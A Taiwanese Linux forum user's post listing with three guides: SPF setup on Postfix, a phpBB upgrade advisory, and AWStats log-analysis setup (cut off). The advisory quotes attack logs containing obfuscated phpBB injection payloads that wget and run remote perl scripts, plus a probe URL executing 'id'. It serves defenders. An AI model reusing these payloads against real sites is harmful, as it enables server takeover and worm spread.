顯示文章

這裡允許您檢視這個會員的所有文章。請注意, 您只能看見您有權限閱讀的文章。


主題 - zoob

頁: [1]
1
Linux 討論版 / 在Postfix上安裝設定SPF/SenderID
« 於: 2005-09-30 23:00 »
作者: zoob (vincent@myunix.idv.tw)

版權聲明:可以任意轉載,轉載時請務必標明原始出處和作者資訊

一、SenderID & SPF 簡介

各位應該有收到你自己或董事長寄給你的電子垃圾郵件吧?

別懷疑!!這非常容易(光靠OE就可以簡單達到了)

Relays只能限制哪些使用者可寄給非電子郵件伺服器負責的E-mail Domain

在不區分「收」「發」E-mail Server的情況下,但很難限制別人假冒你的E-mail Address透過你公司的E-mail Server寄給你自己,或透過其它E-mail Server寄給其它公司。

雖然可以從Mail Header,但一般使用者根本不會看,更看不懂。

如何解決此問題呢?我們可以採用SenderID 或 SPF 機制

SenderID與SPF主要為Microsoft與Pobox所推出之防堵垃圾郵件、釣魚郵件、驗明寄件者身份之機制
此機制是依據已設定DNS SPF Record的E-mail Domain來驗明寄件者身份,加以拒絕假冒E-mail Domain的電子郵件,以保障已設定DNS SPF Record的E-mail Domain


以下為SPF/SenderID流程圖,SPF/SenderID流程如下述

1.寄件者傳送E-mail給收件者
2.收件者的Inbound E-mail Server接收E-mail
3.Inbound E-mail Server依E-mail的寄件者 E-mail Domain至該E-mail Domain查詢DNS SPF Record
  檢查寄件者的E-mail Server IP是否列於SPF Record的IP清單中
4.如果寄件者的E-mail Server IP列於SPF Record的IP清單中,則這封信件可取得授權並可正常傳送至收件者信箱
  反之則會被退信



二、新增DNS SPF record for Mail Domain

(1)首先前往以下其中一網址,依其需求協助產生 DNS SPF Record
The SPF Setup Wizard
Sender ID Framework SPF Record Wizard

下列以www.anti-spamtools.org為申請範例

(1-1)輸入E-mail Domain


(1-2)查詢E-mail Domain是否已有設定SPF,請直接點選「Next」


(1-3)Domain Not Used for Sending E-Mail
該E-mail Domain是否有在傳送E-mail


(1-4)Inbound Mail Servers Send Outbound Mail
「收」E-mail的E-mail Server是否也有在「發」E-mail


(1-5)Outbound Mail Server Addresses
「發」E-mail的E-mail Server IP
註:是否有其他未列在MX Record的SMTP Server在傳送電子郵件,適用於將透過代管E-mail Server或ISP Relays的情況


(1-6)Reverse DNS Lookup
DNS反解析


(1-7)OutSourced Domains


(1-8)Default
一般設定為「No」


(1-9)Scope
一般設定為「Both」


(1-10)點選「Next」後,會出現依你上一頁所設定的結果。請將此結果複製並設定於你公司的DNS Server


(2-1)Bind DNS
編輯DNS SPF record,請針對你要設定的 E-mail Domain新增剛剛所產生的SPF Record
代碼: [選擇]

myunix.idv.tw. IN TXT "v=spf1 a mx mx:mail.myunix.idv.tw -all"


(2-2)Windows DNS
請參閱 How to Add an SPF Record in Windows 2000 and Windows 2003 DNS

註:SPF record是TXT類型

(3)重新載入DNS Server

(4)你可以傳送電子郵件給以下的E-mail來驗證你剛剛所建立的DNS SPF record是否正確

    check-auth@verifier.port25.com
    spfenabled@pobox.com


三、安裝設定SPF on Postfix

(1)請先下載以下Perl Moudle並安裝

    1.Net-CIDR-Lite
    2.Sys-Hostname-Long
    3.Socket6
    4.IO-Socket-INET6
    5.Digest-HMAC
    6.Net-IP
    7.Net-DNS
    8.URI
    9.Mail-SPF-Query


(2)測試Mail-SPF-Query
perl test.pl

(3)編輯 sample/postfix-policyd-spf
第20行前面加上 # 符號,以避免一直處於測試狀態
[Old]
代碼: [選擇]
push @HANDLERS, "testing";

[New]
代碼: [選擇]
#  push @HANDLERS, "testing";

(4)產生 smtpd-policy.pl
代碼: [選擇]
cp sample/postfix-policyd-spf /usr/libexec/postfix/smtpd-policy.pl

(5)編輯Postfix - master.cf

代碼: [選擇]
policy  unix  -       n       n       -       -       spawn
      user=nobody argv=/usr/bin/perl /usr/libexec/postfix/smtpd-policy.pl


(6)編輯Postfix - main.cf

代碼: [選擇]
smtpd_recipient_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination, check_policy_service unix:private/policy

注意!!check_policy_service unix:private/policy 必須放置於 reject_unauth_destination 後面,如有內部伺服器或用戶端會透過此伺服器傳送郵件至內部使用者,記得將其IP設定在 mynetworks。

(7)重新啟動 Postfix

(8)請測試以下步驟
(8-1)請使用非mynetworks之IP假冒你的網域傳送電子郵件至內部使用者,應該會被退信,並在maillog會出現類似以下的訊息

    Sep 30 02:08:54 fw postfix/smtpd[11756]: connect from unknown[192.168.xx.yy]
Sep 30 02:09:14 fw postfix/policy-spf[11770]: Attribute: client_address=192.168.xx.yy
Sep 30 02:09:14 fw postfix/policy-spf[11770]: Attribute: client_name=unknown
Sep 30 02:09:14 fw postfix/policy-spf[11770]: Attribute: helo_name=myunix.idv.tw
Sep 30 02:09:14 fw postfix/policy-spf[11770]: Attribute: instance=2dec.433c2dc2.0
Sep 30 02:09:14 fw postfix/policy-spf[11770]: Attribute: protocol_name=SMTP
Sep 30 02:09:14 fw postfix/policy-spf[11770]: Attribute: protocol_state=RCPT
Sep 30 02:09:14 fw postfix/policy-spf[11770]: Attribute: queue_id=
Sep 30 02:09:14 fw postfix/policy-spf[11770]: Attribute: recipient=vincent@myunix.idv.tw
Sep 30 02:09:14 fw postfix/policy-spf[11770]: Attribute: request=smtpd_access_policy
Sep 30 02:09:15 fw postfix/policy-spf[11770]: Attribute: sasl_method=
Sep 30 02:09:15 fw postfix/policy-spf[11770]: Attribute: sasl_sender=
Sep 30 02:09:15 fw postfix/policy-spf[11770]: Attribute: sasl_username=
Sep 30 02:09:15 fw postfix/policy-spf[11770]: Attribute: sender=123@myunix.idv.tw

Sep 30 02:09:15 fw postfix/policy-spf[11770]: Attribute: size=0
Sep 30 02:09:15 fw postfix/policy-spf[11770]: : SPF fail: smtp_comment=Please see http://spf.pobox.com/why.html?sender=123%40myunix.idv.tw&ip=192.168.xx.yy&receiver=fw.myunix.idv.tw, header_comment=fw.myunix.idv.tw: domain of 123@myunix.idv.tw does not designate 192.168.xx.yy as permitted sender
Sep 30 02:09:15 fw postfix/policy-spf[11770]: handler sender_permitted_from: REJECT Please see http://spf.pobox.com/why.html?sender=123%40myunix.idv.tw&ip=192.168.xx.yy&receiver=fw.myunix.idv.tw
Sep 30 02:09:15 fw postfix/policy-spf[11770]: handler sender_permitted_from: REJECT Please see http://spf.pobox.com/why.html?sender=123%40myunix.idv.tw&ip=192.168.xx.yy&receiver=fw.myunix.idv.tw is decisive.
Sep 30 02:09:15 fw postfix/policy-spf[11770]: decided action=REJECT Please see http://spf.pobox.com/why.html?sender=123%40myunix.idv.tw&ip=192.168.xx.yy&receiver=fw.myunix.idv.tw
Sep 30 02:09:15 fw postfix/smtpd[11756]: NOQUEUE: reject: RCPT from unknown[192.168.xx.yy]: 554 <vincent@myunix.idv.tw>: Recipient address rejected: Please see http://spf.pobox.com/why.html?sender=123%40myunix.idv.tw&ip=192.168.xx.yy&receiver=fw.myunix.idv.tw; from=<123@myunix.idv.tw> to=<vincent@myunix.idv.tw> proto=SMTP helo=<myunix.idv.tw>

Sep 30 02:09:41 fw postfix/smtpd[11756]: disconnect from unknown[192.168.xx.yy][/list]

(8-2)請使用非mynetworks之IP使用外面的E-mail Domain傳送電子郵件至內部使用者,應該正常。
(8-4)請使用mynetworks之IP使用內部的E-mail Domain傳送電子郵件至內部使用者,應該正常。
(8-4)請使用mynetworks之IP使用內部的E-mail Domain傳送電子郵件至外部使用者,應該正常。

四、參考網址
http://www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx
http://spf.pobox.com/

2
系統安全討論版 / 升級phpBB至2.0.11版
« 於: 2004-12-27 03:01 »
各位網友

近日發現有Hacker在嘗試利用phpBB "NeverEverNoSanity WebWorm Generation 9."的漏洞在嘗試攻擊phpBB網站

類似的access log如下

代碼: [選擇]
70.85.23.116 - - [27/Dec/2004:00:02:17 +0800] "GET /mx/forum/viewtopic.php?t=997&highlight=%2527%252esystem(chr(99)%252echr(10
0)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(1
16)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr
(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252ech
r(101)%252echr(116)%252echr(47)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252ec
hr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252
echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%25
2echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%
252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr(49)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)
%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(11
8)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(
114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(112)%252echr(104)%252echr(112)%252ech
r(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252ec
hr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252
echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(114)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%2
52echr(47)%252echr(111)%252echr(119)%252echr(110)%252echr(122)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%
252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(118
)%252echr(105)%252echr(115)%252echr(117)%252echr(97)%252echr(108)%252echr(99)%252echr(111)%252echr(100)%252echr(101)%252echr(1
14)%252echr(115)%252echr(46)%252echr(110)%252echr(101)%252echr(116)%252echr(47)%252echr(122)%252echr(111)%252echr(110)%252echr
(101)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252ec
hr(32)%252echr(115)%252echr(112)%252echr(121)%252echr(98)%252echr(111)%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252e
chr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(119)%252echr(111)%252echr(114)%25
2echr(109)%252echr(49)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%2
52echr(108)%252echr(32)%252echr(111)%252echr(119)%252echr(110)%252echr(122)%252echr(46)%252echr(116)%252echr(120)%252echr(116)
%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(112)%252echr(104)%252echr(112)%252echr(46
)%252echr(116)%252echr(120)%252echr(116))%252e%2527 HTTP/1.0" 200 47698 "-" "lwp-trivial/1.41"
64.235.234.84 - - [20/Dec/2004:08:41:35 -0800] "GET
/viewtopic.php?p=9002&sid=f5
399a2d243cead3a5ea7adf15bfc872&highlight=%2527%252Efwrite(fopen(chr(109)%252echr
(49)%252echr(104)%252echr(111)%252echr(50)%252echr(111)%252echr(102),chr(97)),ch
r(35)%252echr(33)%252echr(47)%252echr(117)%252echr(115)%252echr(114)%252echr(47)
%252echr(98)%252echr(105)%252echr(110)%252echr(47)%252echr(112)%252echr(101)%252
echr(114)%252echr(108)%252echr(10)%252echr(117)%252echr(115)%252echr(101)%252ech
r(32)),exit%252e%2527 HTTP/1.0" 200 13648 "http://forum.CLIENT SITE
OMITTED.com/
viewtopic.php?p=9002&sid=f5399a2d243cead3a5ea7adf15bfc872&highlight=%2527%252Efw
rite(fopen(chr(109)%252echr(49)%252echr(104)%252echr(111)%252echr(50)%252echr(11
1)%252echr(102),chr(97)),chr(35)%252echr(33)%252echr(47)%252echr(117)%252echr(11
5)%252echr(114)%252echr(47)%252echr(98)%252echr(105)%252echr(110)%252echr(47)%25
2echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(10)%252echr(117)%252ec
hr(115)%252echr(101)%252echr(32)),exit%252e%2527" "Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1)"



此漏洞主要是針對2.0.11以下版本的phpBB網站有效

請儘速升級至phpBB至2.0.11(http://www.phpbb.com/downloads.php)

你可以利用以下指令驗證你的phpBB網站是否有此漏洞存在

代碼: [選擇]
http://your.php.site/viewtopic.php?t=12345&highlight=%2527%252esystem(chr(105)%252echr(100))%252e%2527
以上指令節錄於 http://blog.linux.org.tw/~chuany/archives/2004_11.html

如果有此漏洞的話,應該會在你的網頁上顯示如下:

代碼: [選擇]
uid=xx(apache) gid=xx(apache) groups=xx(apache)

【相關網址】
http://www.phpbb.com/phpBB/viewtopic.php?t=240513
http://www.securityfocus.com/archive/1/385063/2004-12-19/2004-12-25/0

3
酷!學園 精華區 / [分享]安裝Awstats 6.1
« 於: 2004-07-08 15:15 »
【前言】
AWStats是一套免費及功能強大的Log分析軟體,它可以透過CGI及Command line的方式來產生報表。

它支援了以下的Log格式
    (1)Apache-combined log(XLF/ELF)
    (2)Apache or Squid-common log(CLF)
    (3)IIS 5.0/6.0-W3C log
    (4)大部份的Web/Wap/Proxy/Streaming Servers(Apache 1.3.x and 2.x, IIS 5.0 and 6.0, WebStar, WebLogic, WebSite, Windows Media Server, Tomcat, Squid, Sambar,Roxen, Resin, RealMedia server, Oracle9iAS, Lotus Notes/Domino, Darwin, IPlanet, IceCast, ZeroBrand, Zeus, Zope,
    Abyss..)
    (5)FTP Server(ProFTP...)
    (6)Mail Server(Postfix/Sendmail/QMail/Mdaemon/www4mail...)


支援平台
    (1)Windows 2000/NT4/Me、Linux、Macintosh、Solaris、Aix、BeOS、FreeBSD
    (2)ActivePerl 5.6/5.8、Perl 5.6/5.8


=========================================
作者: zoob (vincent@myunix.idv.tw)

版權聲明:可以任意轉載,轉載時請務必標明原始出處和作者資訊

【安裝AWStats】

(1)請先從官方網址 ( http://awstats.sourceforge.net/ ) 下載AWStats ( http://prdownloads.sourceforge.net/awstats/awstats-6.1.tgz )

(2)解壓縮 awstats-6.1.tgz

(3)將解壓縮出來的 toolswwwroot 目錄複製到 /usr/local/awstats 目錄下

(4)切換目錄至 /usr/local/awstats 目錄

(5)執行 tools 目錄下的 configure.pl

代碼: [選擇]
tools/configure.pl

(6)設定config檔
----- AWStats configure 1.0 (build 1.32) (c) Laurent Destailleur -----
This tool will help you to configure AWStats to analyze statistics for
one web server. You can try to use it to let it do all that is possible
in AWStats setup, however following the step by step manual setup
documentation (docs/index.html) is often a better idea. Above all if:
- You are not an administrator user,
- You want to analyze downloaded log files without web server,
- You want to analyze mail or ftp log files instead of web log files,
- You need to analyze load balanced servers log files,
- You want to 'understand' all possible ways to use AWStats...
Read the AWStats documentation (docs/index.html).

-----> Running OS detected: Linux, BSD or Unix

-----> Check for web server install

Enter full config file path of your Web server.
Example: /etc/httpd/httpd.conf
Example: /usr/local/apache2/conf/httpd.conf
Example: c:\Program files\apache group\apache\conf\httpd.conf
Config file path ('none' to skip web server setup):
> /etc/httpd/conf/httpd.conf <-----輸入httpd.conf的絕對路徑

-----> Check and complete web server config file '/etc/httpd/conf/httpd.conf'
  AWStats directives already present.

-----> Update model config file '/usr/local/awstats/wwwroot/cgi-bin/awstats.model.conf'
  File awstats.model.conf updated.

-----> Need to create a new config file ?
Do you want me to build a new AWStats config/profile
file (required if first install) [y/N] ?y

-----> Define config file name to create
What is the name of your web site or profile analysis ?
Example: www.mysite.com
Example: demo
Your web site, virtual server or profile name:
> www.myunix.idv.tw <-------- 輸入你所要建立的WebSite name

-----> Add update process inside a scheduler
Sorry, configure.pl does not support automatic add to cron yet.
You can do it manually by adding the following command to your cron:
/usr/local/awstats/wwwroot/cgi-bin/awstats.pl -update -config=wwww.myunix.idv.tw
Or if you have several config files and prefer having only one command:
/usr/local/awstats/tools/awstats_updateall.pl now
Press ENTER to continue...

A SIMPLE config file has been created: /etc/awstats/awstats.wwww.myunix.idv.tw.conf
You should have a look inside to check and change manually main parameters.
You can then manually update your statistics for 'wwww.myunix.idv.tw' with command:
> perl awstats.pl -update -config=wwww.myunix.idv.tw
You can also read your statistics for 'wwww.myunix.idv.tw' with URL:
> http://localhost/awstats/awstats.pl?config=wwww.myunix.idv.tw

Press ENTER to finish...

(7)以上步驟完成後,會在/etc/awstats目錄下建立一檔案- awstats.www.myunix.idv.tw.conf

(8)建立 /var/lib/awstats 目錄,並給予 777 之權限
註:若不給予777權限,將來若設定 AllowToUpdateStatsFromBrowser=1 時,會無法透過Browser來即時更新Report

(9)設定 httpd.conf,檢查在httpd.conf中是否有以下設定,如果沒有的話,請自行加入,並且重新啟動httpd服務

代碼: [選擇]
#
# Directives to add to your Apache conf file to allow use of AWStats as a CGI.
# Note that path "/usr/local/awstats/" must reflect your AWStats install path.
#
Alias /awstatsclasses "/usr/local/awstats/wwwroot/classes/"
Alias /awstatscss "/usr/local/awstats/wwwroot/css/"
Alias /awstatsicons "/usr/local/awstats/wwwroot/icon/"
ScriptAlias /awstats/ "/usr/local/awstats/wwwroot/cgi-bin/"
#
# This is to permit URL access to scripts/files in AWStats directory.
#
<Directory "/usr/local/awstats/wwwroot">
Options None
AllowOverride None
Order allow,deny
Allow from all
</Directory>


【分析 Apache Log】
適用於:Apache 1.3.x、Apache 2.0.x

(1)設定httpd的log format為combined,請編輯 httpd.conf,將CustomLog設定為combined

代碼: [選擇]
CustomLog logs/access_log combined

註:如果你有多個Virtual Domain的話,建議分成不同的access log,以利分析

Log格式範例如下:
    172.16.46.96 - - [07/Feb/2004:17:19:30 +0800] "GET /forum/templates/subSilver/images/spacer.gif HTTP/1.1" 304 0 "http://it.myunix.idv.tw/forum/viewtopic.php?t=274" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"[/list]


    (2)設定awstats.www.myunix.idv.tw.conf

    代碼: [選擇]
    LogFile="/var/log/httpd/access_log"  <----請指定你apache log file的絕對路徑及log名稱
    LogType=W <---- W代表分析類型為web log files
    LogFormat=1 <---- 1代表Apache or Lotus Notes/Domino native combined log format
    SiteDomain="www.myunix.idv.tw" <----指定定從log檔中過濾符合SiteDomain的記錄(不同的Virtual Domain就須指定為不同的SiteDomain)
    HostAliases="myunix.idv.tw www.myunix.idv.tw" <-----指定哪些Domain為Local,其餘皆視為External


    設定完畢,請存檔

    (3)執行awstats.pl,記得指定設定檔時,不要輸入設定檔名前面的 awstats..conf

    代碼: [選擇]
    [root@xxx awstats]# /usr/local/awstats/wwwroot/cgi-bin/awstats.pl -config=www.myunix.idv.tw -update

    如果出現以下訊息,就代表執行成功

      Update for config "/etc/awstats/awstats.www.myunix.idv.tw.conf"
      With data in log file "/var/log/httpd/access_log.1"...
      Phase 1 : First bypass old records, searching new record...
      Direct access after last parsed record (after line 4311)
      Jumped lines in file: 4311
       Found 4311 already parsed records.
      Parsed lines in file: 0
       Found 0 dropped records,
       Found 0 corrupted records,
       Found 0 old records,
       Found 0 new qualified records.


    (4)開啟Browser,輸入 http://www.xxx.xxx/awstats/awstats.pl?config=www.myunix.idv.tw ,便可檢視你剛剛所產生的報表了。

    Demo Site

    (5)記得將步驟(3)的指令設定在crontab,讓它定期產生Log Report

    【分析 IIS Log】
    適用於:IIS 6.0

    (1)開啟IIS管理員,設定WWW伺服器Log擴充內容如下:(若沒列在下面的項目,請取消勾選),設定完畢,請重新啟動IIS Web Service

      日期(date)
      時間(time)
      用戶端IP位址(c-ip)
      使用者名稱(cs-username)
      方法(cs-method)
      URI主體(cs-uri-stem)
      URI查詢(cs-uti-query)
      通訊協定狀態(sc-status)
      傳送的位元組(sc-bytes)
      通訊協定版本(cs-version)
      使用者代理(cs(User-Agent))
      推薦者(cs(Referer))


    註:IIS WWW Log預設會存放在 C:\WINDOWS\system32\LogFiles\W3SVC1 目錄下

    Log格式範例如下:
      2004-02-07 09:23:08 POLL /exchange/A12345/收件匣 - MYUNIX/A12345 192.168.1.1 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+98) https://exchange.myunix.idv.tw/exchange/A12345/?Cmd=navbar 207 585[/list]


      (2)設定awstats.iis.myunix.idv.tw.conf

      代碼: [選擇]
      LogFile="/var/log/iis.log"  <----請指定你IIS log file的絕對路徑及log名稱
      LogType=W <---- W代表分析類型為web log files
      LogFormat="date time cs-method cs-uri-stem cs-uri-query cs-username c-ip cs-version cs(User-Agent) cs(Referer) sc-status sc-by
      tes"
      SiteDomain="iis.myunix.idv.tw" <----指定定從log檔中過濾符合SiteDomain的記錄(不同的Virtual Domain就須指定為不同的SiteDomain)
      HostAliases="myunix.idv.tw" <-----指定哪些Domain為Local,其餘皆視為External
      LevelForBrowsersDetection=0
      LevelForOSDetection=0
      LevelForRefererAnalyze=0
      LevelForRobotsDetection=0
      LevelForSearchEnginesDetection=0
      LevelForKeywordsDetection=0
      LevelForFileTypesDetection=2
      LevelForWormsDetection=2
      ShowDomainsStats=0
      ShowRobotsStats=0
      ShowWormsStats=HBL
      ShowFileSizesStats=0
      ShowOSStats=0
      ShowBrowsersStats=0
      ShowOriginStats=0
      ShowKeyphrasesStats=0
      ShowKeywordsStats=0
      ShowMiscStats=0


      設定完畢,請存檔

      (3)執行awstats.pl,記得指定設定檔時,不要輸入設定檔名前面的 awstats..conf

      代碼: [選擇]
      [root@xxx awstats]# /usr/local/awstats/wwwroot/cgi-bin/awstats.pl -config=iis.myunix.idv.tw -update

      如果出現以下訊息,就代表執行成功

        Update for config "/etc/awstats/awstats.iis.myunix.idv.tw.conf"
        With data in log file "/var/log/iis.log"...
        Phase 1 : First bypass old records, searching new record...
        Direct access after last parsed record (after line 4311)
        Jumped lines in file: 4311
         Found 4311 already parsed records.
        Parsed lines in file: 0
         Found 0 dropped records,
         Found 0 corrupted records,
         Found 0 old records,
         Found 0 new qualified records.


      (4)開啟Browser,輸入 http://www.xxx.xxx/awstats/awstats.pl?config=iis.myunix.idv.tw ,便可檢視你剛剛所產生的報表了。

      (5)記得將步驟(3)的指令設定在crontab,讓它定期產生Log Report

      【分析 Mail Log-Postfix/Sendmail/Qmail/MDaemon】
      適用於:Postfix/Sendmail/Qmail/MDaemon

      (1)設定awstats.mail.myunix.idv.tw.conf

      代碼: [選擇]
      LogFile="perl /usr/local/awstats/tools/maillogconvert.pl standard < /var/log/maillog |"  <----請指定你mail log file的絕對路徑及log名稱
      LogType=M <---- M代表分析類型為mail log files
      LogFormat="%time2 %email %email_r %host %host_r %method %url %code %bytesd"
      SiteDomain="mail.myunix.idv.tw" <----指定定從log檔中過濾符合SiteDomain的記錄
      HostAliases="myunix.idv.tw mail.myunix.idv.tw localhost 127.0.0.1" <-----指定哪些Domain或ip address為Local,其餘皆視為External
      LevelForBrowsersDetection=0
      LevelForOSDetection=0
      LevelForRefererAnalyze=0
      LevelForRobotsDetection=0
      LevelForWormsDetection=0
      LevelForSearchEnginesDetection=0
      LevelForFileTypesDetection=0
      ShowMenu=1
      ShowMonthStats=HB
      ShowDaysOfMonthStats=HB
      ShowDaysOfWeekStats=HB
      ShowHoursStats=HB
      ShowDomainsStats=0
      ShowHostsStats=HBL
      ShowAuthenticatedUsers=0
      ShowRobotsStats=0
      ShowEMailSenders=HBML
      ShowEMailReceivers=HBML
      ShowSessionsStats=0
      ShowPagesStats=0
      ShowFileTypesStats=0
      ShowFileSizesStats=0
      ShowBrowsersStats=0
      ShowOSStats=0
      ShowOriginStats=0
      ShowKeyphrasesStats=0
      ShowKeywordsStats=0
      ShowMiscStats=0
      ShowHTTPErrorsStats=0
      ShowSMTPErrorsStats=1


      設定完畢,請存檔

      (2)執行awstats.pl,記得指定設定檔時,不要輸入設定檔名前面的 awstats..conf

      代碼: [選擇]
      [root@xxx awstats]# /usr/local/awstats/wwwroot/cgi-bin/awstats.pl -config=mail.myunix.idv.tw -update

      如果出現以下訊息,就代表執行成功

        Update for config "/etc/awstats/awstats.mail.myunix.idv.tw.conf"
        With data in log file "perl /usr/local/awstats/tools/maillogconvert.pl standard < /var/log/maillog |"...
        Phase 1 : First bypass old records, searching new record...
        Searching new records from beginning of log file...
        Jumped lines in file: 0
        Parsed lines in file: 358
         Found 0 dropped records,
         Found 0 corrupted records,
         Found 358 old records,
         Found 0 new qualified records.


      (3)開啟Browser,輸入 http://www.xxx.xxx/awstats/awstats.pl?config=mail.myunix.idv.tw ,便可檢視你剛剛所產生的報表了。

      Demo Site

      (4)記得將步驟(2)的指令設定在crontab,讓它定期產生Log Report

      【分析 Mail Log-Exchange Server】
      適用於:Exchange 2000/2003 Server

      (1)若沒有開啟Exchange Server Tracking Log,請依以下網址開啟Exchange Tracking Log
      http://support.microsoft.com/default.aspx?scid=kb;en-us;246856

      註:Tracking Log預設會存放在 C:\Program Files\Exchsrvr\[Server Name].log 目錄下

      Log格式範例如下:
        2004-2-4        23:59:52 GMT    172.17.13.104   mail.myunix.idv.tw   exchange.tw.idv.tw   Exchange 172.17.13.1    usera@myunix.idv.tw    1031    00dc01c46222$c3442650$2c1313ac@sh44     3       0       230711  1       2004-7-4 23:59:52 GMT0Version: 6.0.3790.0     -        =?big5?B?111=?=        userb@myunix.idv.tw -[/list]


        (2)設定awstats.exchange.myunix.idv.tw.conf

        代碼: [選擇]
        LogFile="perl /usr/local/awstats/tools/maillogconvert.pl standard < /var/log/exchange.maillog |"  <----請指定你mail log file的絕對路徑及log名稱
        LogType=M <---- M代表分析類型為mail log files
        LogFormat="%time2 %email %email_r %host %host_r %method %url %code %bytesd"
        SiteDomain="exchange.myunix.idv.tw" <----指定定從log檔中過濾符合SiteDomain的記錄
        HostAliases="myunix.idv.tw exchange.tw.myunix.idv exchange.myunix.idv.tw localhost 127.0.0.1" <-----指定哪些Domain或ip address為Local,其餘皆視為External
        LevelForBrowsersDetection=0
        LevelForOSDetection=0
        LevelForRefererAnalyze=0
        LevelForRobotsDetection=0
        LevelForWormsDetection=0
        LevelForSearchEnginesDetection=0
        LevelForFileTypesDetection=0
        ShowMenu=1
        ShowMonthStats=HB
        ShowDaysOfMonthStats=HB
        ShowDaysOfWeekStats=HB
        ShowHoursStats=HB
        ShowDomainsStats=0
        ShowHostsStats=HBL
        ShowAuthenticatedUsers=0
        ShowRobotsStats=0
        ShowEMailSenders=HBML
        ShowEMailReceivers=HBML
        ShowSessionsStats=0
        ShowPagesStats=0
        ShowFileTypesStats=0
        ShowFileSizesStats=0
        ShowBrowsersStats=0
        ShowOSStats=0
        ShowOriginStats=0
        ShowKeyphrasesStats=0
        ShowKeywordsStats=0
        ShowMiscStats=0
        ShowHTTPErrorsStats=0
        ShowSMTPErrorsStats=1


        設定完畢,請存檔

        (3)執行awstats.pl,記得指定設定檔時,不要輸入設定檔名前面的 awstats..conf

        代碼: [選擇]
        [root@xxx awstats]# /usr/local/awstats/wwwroot/cgi-bin/awstats.pl -config=exchange.myunix.idv.tw -update

        如果出現以下訊息,就代表執行成功

          Update for config "/etc/awstats/awstats.exchange.myunix.idv.tw.conf"
          With data in log file "perl /usr/local/awstats/tools/maillogconvert.pl standard < /var/log/exchange.maillog |"...
          Phase 1 : First bypass old records, searching new record...
          Searching new records from beginning of log file...
          Jumped lines in file: 0
          Parsed lines in file: 358
           Found 0 dropped records,
           Found 0 corrupted records,
           Found 358 old records,
           Found 0 new qualified records.


        (4)開啟Browser,輸入 http://www.xxx.xxx/awstats/awstats.pl?config=exchange.myunix.idv.tw ,便可檢視你剛剛所產生的報表了。

        (5)記得將步驟(3)的指令設定在crontab,讓它定期產生Log Report

        【分析 Squid Log】
        適用於:Squid 2.x

        (1)設定squid的log format為emulate_httpd_log,請編輯 squid.conf,將emulate_httpd_log設定為on

        代碼: [選擇]
        emulate_httpd_log on

        Log格式範例如下:
          172.17.132.32 - - [06/Feb/2004:23:59:04 +0800] "POST http://gateway.messenger.hotmail.com/gateway/gateway.dll? HTTP/1.1" 200 432 TCP_MISS:DIRECT[/list]

          (2)設定awstats.squid.myunix.idv.tw.conf

          代碼: [選擇]
          LogFile="/var/log/squid/access_log"  <----請指定你apache log file的絕對路徑及log名稱
          LogType=W <---- W代表分析類型為web log files
          LogFormat=4 <---- 4代表Apache or Squid native log format
          SiteDomain="squid.myunix.idv.tw" <----指定定從log檔中過濾符合SiteDomain的記錄(不同的Virtual Domain就須指定為不同的SiteDomain)
          HostAliases="myunix.idv.tw" <-----指定哪些Domain為Local,其餘皆視為External
          LevelForBrowsersDetection=0
          LevelForOSDetection=0
          LevelForRefererAnalyze=0
          LevelForRobotsDetection=0
          LevelForSearchEnginesDetection=0
          LevelForKeywordsDetection=0
          LevelForFileTypesDetection=2
          LevelForWormsDetection=2
          ShowDomainsStats=0
          ShowRobotsStats=0
          ShowWormsStats=HBL
          ShowFileSizesStats=0
          ShowOSStats=0
          ShowBrowsersStats=0
          ShowOriginStats=0
          ShowKeyphrasesStats=0
          ShowKeywordsStats=0
          ShowMiscStats=0


          設定完畢,請存檔

          (3)執行awstats.pl,記得指定設定檔時,不要輸入設定檔名前面的 awstats..conf

          代碼: [選擇]
          [root@xxx awstats]# /usr/local/awstats/wwwroot/cgi-bin/awstats.pl -config=squid.myunix.idv.tw -update

          如果出現以下訊息,就代表執行成功

